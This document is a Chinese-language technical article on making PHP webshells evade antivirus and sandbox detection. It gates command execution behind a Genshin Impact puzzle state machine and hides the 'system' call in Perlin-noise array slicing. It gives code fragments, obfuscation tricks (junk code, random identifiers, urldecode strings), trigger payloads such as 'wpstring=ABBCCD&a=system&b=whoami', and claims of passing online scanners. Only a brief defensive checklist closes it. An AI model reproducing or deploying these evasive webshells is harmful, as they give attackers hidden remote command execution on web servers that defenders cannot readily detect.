使用分支对抗进行webshell bypass
字数 1710 2025-08-22 12:23:36
WebShell免杀技术:基于分支对抗与复杂算法的绕过方法
1. 前言
WebShell免杀技术是网络安全攻防中的重要课题。本文介绍了一种基于分支对抗和复杂算法混淆的WebShell绕过方法,通过模拟《原神》游戏中的稻妻雷元素方块阵解谜机制和柏林噪声算法,构建高度混淆的PHP类结构,实现对抗杀毒软件和云沙箱检测的目的。
2. 核心思路
2.1 类绕过技术
- 类绕过是最有效且不易被检测的WebShell免杀方式
- 通过在类中嵌入复杂算法和混淆代码,使代码逻辑混乱、难以阅读
- 最终仍能实现命令执行(RCE)功能
2.2 双重保护机制
- 稻妻雷元素方块阵验证:必须通过特定序列的解谜才能继续执行
- 柏林噪声算法混淆:核心功能隐藏在复杂的数学计算中
3. 稻妻雷元素方块阵机制
3.1 初始状态
blockA = 2
blockB = 0
blockC = 0
blockD = 2
每个方块的状态值循环从0到2(最小0,最大2)
3.2 setBackBlock()方法
- 尝试将指定方块重置为最小状态(0)
- 如果方块已处于最大状态(2),则重置并返回true
- 否则不改变并返回false
3.3 hit()方法行为
根据点击的方块执行不同操作:
| 点击方块 | 影响方块 | 操作 |
|---|---|---|
| A | A, B | 尝试重置A和B,若不能重置则各自加1 |
| B | A, B, C | 尝试重置A、B和C,若不能重置则各自加1 |
| C | B, C, D | 尝试重置B、C和D,若不能重置则各自加1 |
| D | C, D | 尝试重置C和D,若不能重置则各自加1 |
3.4 解谜序列分析
有效序列: ABBCCD
执行步骤:
- 点击A: blockA=0, blockB=1
- 点击B: blockA=1, blockB=2, blockC=1
- 点击B: blockA=2, blockB=0, blockC=2
- 点击C: blockB=1, blockC=0, blockD=0
- 点击C: blockB=2, blockC=1, blockD=1
- 点击D: blockC=2, blockD=2
最终状态:所有方块=2,验证通过
3.5 WebShell集成实现
$appor5nnb = new InazumaPuzzle();
$appor5nnb->__AFG50CE4_RG1();
if ($appor5nnb->getLockerStatus()) $a($b);
Payload:
wpstring=ABBCCD&a=system&b=whoami
4. 柏林噪声算法混淆
4.1 算法原理
柏林噪声属于基于晶格的生成算法,核心思想:
- 定义晶格结构(二维平面网格/三维立方体网络)
- 每个晶格顶点有预定义的梯度向量
- 计算点到所在晶格顶点的距离向量
- 距离向量与梯度向量做点积运算得到影响值
4.2 关键代码解析
$ab = pause(array_map(function($arr){
return chr($arr);
}, array_slice($this->perlin_noise, (188*2)+$userans*3, $userans-3)));
$c = strval(sprintf("%s%s", $b, pause(strrev(implode("", pause($ab))))));
$c($pcs);
4.3 构造过程
- 设置
$userans = 7 - 手动设置perlin_noise数组特定值:
$cvb33ff55->perlin_noise[397] = 121; // 'y' $cvb33ff55->perlin_noise[398] = 116; // 't' $cvb33ff55->perlin_noise[399] = 101; // 'e' $cvb33ff55->perlin_noise[400] = 109; // 'm' - 通过切片和字符转换得到"system"字符串
- 执行命令:
system($pcs)
4.4 完整WebShell实现
$appor5nnb = new InazumaPuzzle();
$appor5nnb->__AFG50CE4_RG1();
$cvb33ff55 = new PerlinNoise(3000, 700.4, 56.7, "DIFF_PERLIN");
$cvb33ff55->__BHUYTVV8_1();
$cvb33ff55->__CPRBB0R0_l();
$cvb33ff55->__HNBB70CA_5();
Payload:
wpstring=ABBCCD&b=s&pcs=whoami
5. 混淆增强技术
5.1 无用代码注入
- 大量无意义的注释和字符串
- 无实际功能的代码片段
- 随机字符和乱码插入
5.2 变量名混淆
- 使用无意义的变量名如
$appor5nnb,$cvb33ff55 - 方法名包含随机字符如
__AFG50CE4_RG1
5.3 编码转换
- 使用
urldecode编码关键字符串 - 如
%6e%69%6c%72%65%70%5f%46%46%49%44解码为nilerp_FFID
6. 免杀效果验证
- 微步在线检测显示安全
- 传统杀毒软件难以识别
- 云沙箱分析困难
7. 防御建议
-
静态分析:
- 检测异常复杂的类结构
- 识别隐藏的命令执行逻辑
- 关注
urldecode等解码函数的使用
-
动态分析:
- 监控异常的参数传递模式
- 检测非常规的数学计算序列
- 分析长时间运行的复杂算法
-
行为检测:
- 关注
system等危险函数的间接调用 - 检测通过复杂条件分支触发的敏感操作
- 关注
8. 总结
这种WebShell免杀技术通过:
- 游戏解谜机制作为前置验证
- 复杂数学算法作为核心混淆
- 多重编码和代码混淆作为掩护
实现了高度的隐蔽性和对抗性,是当前WebShell对抗检测的先进技术之一。